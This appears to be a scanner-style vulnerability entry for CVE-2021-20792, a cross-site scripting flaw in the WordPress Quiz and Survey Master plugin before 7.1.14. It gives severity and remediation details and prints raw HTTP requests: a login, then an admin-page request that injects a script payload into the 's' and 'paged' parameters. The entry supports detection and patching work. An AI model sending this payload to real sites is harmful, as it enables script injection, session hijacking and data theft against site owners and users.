| Title | WordPress Quiz and Survey Master <7.1.14 - Cross-Site Scripting |
|---|---|
| Author | dhiyaneshDK |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement. |
| Remediation | Update to the latest version of WordPress Quiz and Survey Master plugin (7.1.14) to mitigate the vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.09715 |
| CVE ID | CVE-2021-20792 |
| CWE ID | CWE-79 |
| Tags | cve2021 cve wordpress wp-plugin authenticated wpscan expresstech vuln |
WordPress Quiz and Survey Master plugin prior to 7.1.14 contains a cross-site scripting vulnerability which allows a remote attacker to inject arbitrary script via unspecified vectors.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.75 Safari/537.36
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
Origin: /
Accept-Encoding: gzip
log=m7OJQt&pwd=xlV9Mk&wp-submit=Log+In&testcookie=1
GET /wp-admin/admin.php?page=mlw_quiz_list&s="></script><script>alert(document.domain)</script>&paged="></script><script>alert(document.domain)</script> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-20792.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-20792.pcap
N/AN/A